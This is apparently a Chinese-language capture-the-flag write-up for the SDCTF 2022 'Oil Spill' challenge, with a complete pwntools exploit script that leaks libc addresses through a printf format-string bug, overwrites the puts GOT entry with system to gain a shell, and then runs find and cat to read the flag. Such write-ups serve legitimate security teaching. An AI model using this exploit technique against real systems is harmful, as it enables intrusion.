[SDCTF 2022]Oil Spill
准备 64位开了 Canary
和 NX
保护
分析 main函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int __fastcall main(int argc, const char **argv, const char **envp) { char s[312]; // [rsp+10h] [rbp-140h] BYREF unsigned __int64 v5; // [rsp+148h] [rbp-8h] v5 = __readfsqword(0x28u); printf("%p, %p, %p, %p\n", &puts, &printf, s, temp); puts("Oh no! We spilled oil everywhere and its making everything dirty"); puts("do you have any ideas of what we can use to clean it?"); fflush(stdout); fgets(s, 300, stdin); printf(s); puts(x); // "Interesting Proposition" fflush(stdout); return 0; }
开头先会输出 puts
, printf
, s
, temp
的地址 然后下面把读取的数据直接用 printf
输出,存在格式化字符串漏洞 最后用 puts
输出 x
的值
思路: 这里泄露相关函数的地址,有格式化字符串漏洞,但没有 system
函数和连接点等 在ida中查看 x
的值 是一个确定的数据并且地址为0x600C80 所以这里可以利用格式化字符串漏洞,改 puts(x)
为 system('/bin/sh')
,来获得 shell
通过输入 aaaaaaaa_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p
获得参数位置 得到参数位置为8 开始先获取 puts
, printf
的地址
1 2 3 4 5 6 7 8 9 puts_got = elf.got['puts'] x=0x600C80 puts_addr=int(io.recv(14),16) log.success('puts_addr :'+hex(puts_addr)) io.recvuntil(b',') printf_addr=int(io.recv(14),16) log.success('printf_addr :'+hex(printf_addr))
然后根据 puts
地址获得 libc
基址,进而得到 system
的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 puts_got = elf.got['puts'] x=0x600C80 puts_addr=int(io.recv(14),16) log.success('puts_addr :'+hex(puts_addr)) io.recvuntil(b',') printf_addr=int(io.recv(14),16) log.success('printf_addr :'+hex(printf_addr)) libc=LibcSearcher("puts", puts_addr) libc_base=puts_addr-libc.dump('puts') log.success('libc_base: ' + hex(libc_base)) system=libc_base+libc.dump('system')
最后利用 fmtstr_payload
构造格式化字符串漏洞的 payload
,改 puts(x)
为 system('/bin/sh')
知识点: 介绍: 用于生成复杂的格式化字符串 payload,实现任意地址写入。 定义:
1 fmtstr_payload(offset, writes, numbwritten=0, write_size='byte', strategy='fast', badbytes=[])
参数:
offset
:表示格式化字符串参数在栈上的偏移量(写入参数位置)。 这是一个关键参数,需要通过调试或发送测试用的格式化字符串(如 AAAA.%p.%p.%p...
并观察输出)来确定。 例如,当执行 printf
函数时,格式化字符串本身在栈上的位置如果是第 7 个参数,那么 offset
就为 7
。
writes
:是一个字典,键为要写入的目标内存地址,值为要写入该地址的数据。 比如 {got_table_addr: system_addr}
,表示将 system_addr
写入到 got_table_addr
这个内存地址中。
numbwritten
:可选参数,用于指定在开始写入之前,格式化字符串已经打印的字节数,默认为 0
。
write_size
:可选参数,指定写入的字节大小,取值可以是 'byte'
(1 字节)、'short'
(2 字节)、'int'
(4 字节,默认值)、'long'
(在 32 位系统是 4 字节,在 64 位系统是 8 字节)。
strategy
:可选参数,指定生成 payload 的策略,默认是 'fast'
,还有 'slow'
等选项 。 'fast'
策略生成的 payload 较短,但可能在某些情况下不适用;'slow'
策略更通用,但生成的 payload 可能较长。
badbytes
:可选参数,是一个包含不希望出现在 payload 中的字节列表。 例如,如果目标程序对输入的某些字节有特殊处理或过滤,就可以将这些字节添加到 badbytes
中,让 fmtstr_payload
生成的 payload 避开这些字节。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 puts_got = elf.got['puts'] x=0x600C80 puts_addr=int(io.recv(14),16) log.success('puts_addr :'+hex(puts_addr)) io.recvuntil(b',') printf_addr=int(io.recv(14),16) log.success('printf_addr :'+hex(printf_addr)) libc=LibcSearcher("puts", puts_addr) libc_base=puts_addr-libc.dump('puts') log.success('libc_base: ' + hex(libc_base)) system=libc_base+libc.dump('system') io.recvuntil(b'it?\n') payload=fmtstr_payload(8,{x:b'/bin/sh\x00',puts_got:system}) io.sendline(payload)
脚本 (远程动态 libc
文件:libc6_2.27-3ubuntu1.6_amd64)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import * from LibcSearcher import * context(arch='amd64', os='linux', log_level='debug') io=remote('node5.anna.nssctf.cn',24154) # io= process('/home/motaly/os') elf=ELF('/home/motaly/os') puts_got = elf.got['puts'] x=0x600C80 puts_addr=int(io.recv(14),16) log.success('puts_addr :'+hex(puts_addr)) io.recvuntil(b',') printf_addr=int(io.recv(14),16) log.success('printf_addr :'+hex(printf_addr)) libc=LibcSearcher("puts", puts_addr) libc_base=puts_addr-libc.dump('puts') log.success('libc_base: ' + hex(libc_base)) system=libc_base+libc.dump('system') io.recvuntil(b'it?\n') payload=fmtstr_payload(8,{x:b'/bin/sh\x00',puts_got:system}) io.sendline(payload) io.interactive()
flag
文件不在直接的目录下,可以通过 find
指令查找文件,然后通过 cat
获取文件信息 (找名字为 flag
的没有结果,所以找 flag.txt
)
1 2 find / -name "flag.txt" 2>/dev/null cat /home/ctf/flag.txt
(2>/dev/null
:将错误信息(如权限不足的提示)重定向到空设备,避免干扰搜索结果)